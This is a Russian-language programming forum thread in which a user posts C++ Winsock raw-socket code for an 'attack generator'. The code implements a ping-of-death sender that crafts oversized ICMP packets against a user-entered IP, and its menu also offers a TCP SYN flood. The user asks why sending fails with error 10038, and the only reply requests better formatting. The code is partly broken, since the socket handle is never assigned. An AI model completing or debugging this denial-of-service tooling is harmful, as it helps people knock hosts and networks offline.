Ping Of Death

Тема в разделе "MS Visual C++", создана пользователем Zhenya00, 23 ноя 2010.

  1. Zhenya00

    Zhenya00 Гость

    Задача следующая дали написать генератор атак. Начал писать ping of death. Использую winsock 2, вроде что-то понял, но при отправке пакетов компилятор выдает ошибку 10038, где ошибка найти не могу, знаю только,что с отправкой пакета
    Код (C++):
     
    #include <iostream>
    #include <conio.h>
    #include <winsock2.h>
    #include <ws2tcpip.h>
    #pragma comment(lib,"ws2_32.lib")
    #define MAX_PACKET 65535 //Max длина пакета
    #define MTU 1496
    #define PING_OF_DEATH 65545 // так как POD предполагает фрагментированного ICMP пакета длиной
    //более 65535 байт либо длиной < 1кб
    #define FRAGMENT ((MAX_PACKET/MTU)+1)

    using namespace std;

    typedef struct IP_Hdr
    {
    unsigned char version:4;
    unsigned char Head_len:4;
    unsigned char tos;
    unsigned short tot_ip;
    unsigned short id;
    unsigned char flags:3;
    unsigned short offset:13;
    unsigned char TTL;
    unsigned char Hlev_proto;
    unsigned short checksum;
    unsigned int src_addr;
    unsigned int dst_adr;
    unsigned int opt;
    }ip_header;
    typedef struct Icmp_Hdr
    {
    unsigned char type;
    unsigned char code;
    unsigned short icmp_checksum;
    }Icmp_Hdr;
    typedef struct Udp_Hdr
    {
    unsigned short src_port;
    unsigned short dst_port;
    unsigned short udp_length;
    unsigned short udp_checksum;
    }Udp_Hdr;
    typedef struct Udp_psdHdr
    {
    unsigned int src_addr;
    unsigned int dst_adr;
    unsigned char zero;
    unsigned char Hlproto;
    unsigned short total_length;
    unsigned short src_port;
    unsigned short dst_port;
    unsigned short udp_length;
    unsigned short udp_checksum;
    }Udp_psdHdr;
    typedef struct Tcp_Hdr
    {

    unsigned short src_port;
    unsigned short dst_port;
    unsigned int seq_num;
    unsigned int ack_num;
    unsigned char Head_len:4;
    unsigned char rezerv:6;
    unsigned char flags:6;
    unsigned short win_len;
    unsigned short tcp_checksum;
    unsigned short tcp_urgent;
    }Tcp_Hdr;
    typedef struct Tcp_psdHdr
    {
    unsigned int src_addr;
    unsigned int dst_adr;
    unsigned char zero;
    unsigned char Hlproto;
    unsigned short total_length;
    unsigned short src_port;
    unsigned short dst_port;
    unsigned int seq_num;
    unsigned int ack_num;
    unsigned char Head_len:4;
    unsigned char rezerv:6;
    unsigned char flags:6;
    unsigned short win_len;
    unsigned short tcp_checksum;
    unsigned short tcp_urgent;
    }Tcp_psdHdr;


    // Реализация класса
    class Headers
    {
    private:
    ip_header IP;
    SOCKET Mysock;
    sockaddr_in Addressdst;
    sockaddr_in Addresssrc;
    Icmp_Hdr ICMP;
    Udp_Hdr UDP;
    Udp_psdHdr UDPPSD;
    Tcp_Hdr TCP;
    Tcp_psdHdr TCPPSD;
    WSADATA sock_ver;
    DWORD OPT; // установка опции IP пакета
    char* data;
    public:

    void Fill_IP(int n);
    void Fill_addr();
    USHORT checksum(unsigned short* HEADER,int size);
    };





    USHORT Headers::checksum(unsigned short* HEADER,int size) // Подсчет CRC
    {
    unsigned long CRC=0;
    while(size>1)
    {
    CRC+=*HEADER++;
    size-=sizeof(USHORT);
    }
    if(size)
    {
    CRC+=*(UCHAR*)HEADER;
    }
    CRC=(CRC>>16)+(CRC&0xffff);
    CRC+=CRC>>16;
    return (USHORT)(~CRC);
    }



    void Headers::Fill_addr() //заполнение порта и адреса
    {
    int Tport;
    char* ADDR=new char[17];
    cout<<"Enter source IP: ";
    cin.getline(ADDR,17);
    IP.src_addr=inet_addr(ADDR);
    Addresssrc.sin_addr.s_addr=IP.src_addr;
    delete[]ADDR;
    ADDR=new char[17];
    сout<<"Enter destination IP: ";
    cin.getline(ADDR,17);
    IP.dst_adr=inet_addr(ADDR);
    Addressdst.sin_addr.s_addr=IP.dst_adr;
    cout<<endl<<"Enter src port N: ";
    cin>>Tport;
    Addressdst.sin_family=AF_INET;
    Addresssrc.sin_family=AF_INET;
    Addresssrc.sin_port=htons(Tport);
    cout<<endl<<"Enter dst port N: ";
    cin>>Tport;
    Addressdst.sin_port=htons(Tport);



    }



    void Headers::Fill_IP(int n) //заполнение IP датаграммы
    {

    IP.opt=0;
    IP.tos=0;
    IP.TTL=255;
    IP.version=4;
    IP.checksum=0;
    IP.flags=0;
    IP.Head_len=sizeof(IP_Hdr);
    IP.id=0;
    IP.offset=0;
    IP.opt=0;
    switch(n)
    {
    case 1:
    //это для выбора типа атаки пока интересует ping of death
    {
    data=new char[PING_OF_DEATH];
    unsigned int packet_length;
    memset(data,0,sizeof(data));
    IP.Hlev_proto=IPPROTO_ICMP;
    ICMP.code=0;
    ICMP.type=8;
    ICMP.icmp_checksum=0;
    memcpy(data,&IP,sizeof(IP_Hdr));
    IP.checksum=checksum((unsigned short*)data,sizeof(IP_Hdr));
    memcpy(data+sizeof(IP_Hdr),&ICMP,sizeof(Icmp_Hdr));
    memcpy((data+sizeof(IP_Hdr)+sizeof(Icmp_Hdr)),"^",sizeof(data));
    ICMP.icmp_checksum=checksum((unsigned short*)data,sizeof(Icmp_Hdr));
    packet_length=PING_OF_DEATH+sizeof(IP_Hdr);
    IP.tot_ip=htons(packet_length);
    if(WSAStartup(MAKEWORD(2,2),&sock_ver)==-1)
    {
    cout<<"Error of startup: "<<GetLastError();
    getch();
    }
    if(socket(AF_INET,SOCK_RAW,IPPROTO_IP)==INVALID_SOCKET)
    {
    cout<<"Error of initialization: "<<GetLastError();
    getch();
    }
    OPT=1;
    if(setsockopt(Mysock,IPPROTO_IP,IP_HDRINCL,(char*)&OPT,sizeof(OPT))==SOCKET_ERROR)


    // установка опции в единицу и установка IP_HDRINCL т.к мы сами будем заполнять поля датаграммы
    // вот здесь всплывает ошибка 10038


    {
    cout<<"Error of options: "<<GetLastError();
    getch();
    }
    if(sendto(Mysock,data,PING_OF_DEATH,0,(sockaddr*)&Addresssrc,sizeof(Addresssrc))==-1)


    // И здесь 10038
    // я предполагаю, что датаграмму надо разбить на фрагменты,
    //но я прочитал, что при использовании IPv4 это дело берет на
    //себя ОС! ИЛИ я ошибаюсь?


    {
    cout<<"Error of sending: "<<GetLastError();
    getch();
    }



    }break;
    }

    }
    :newconfus: :newconfus:
    int main()
    {
    Headers HDR;
    int type;
    cout<<"Choose attack type: "<<endl;
    cout<<"1. POD: "<<endl;
    cout<<"2. TCP SYN flood: "<<endl;
    type=getch();

    switch(type)
    {
    case 49:
    {
    HDR.Fill_addr();
    HDR.Fill_IP(1);
    }break;
    default:
    cout<<"error: ";break;
    }

    getch();
    return 0;
    }
    Код (C++):
     
     
  2. lazybiz

    lazybiz Well-Known Member
    C\C++ Team

    Регистрация:
    3 ноя 2010
    Сообщения:
    1.344
    Симпатии:
    0
    Zhenya00
    Давай еще раз но уже с тэгом С++ и отступами!
     
Загрузка...
Похожие Темы - Ping Death
  1. Extraterrestrial
    Ответов:
    6
    Просмотров:
    3.073
  2. morpheus
    Ответов:
    0
    Просмотров:
    3.306
  3. ghost

    usbdeath

    ghost, 5 окт 2016, в разделе: Kali Linux
    Ответов:
    0
    Просмотров:
    56

Поделиться этой страницей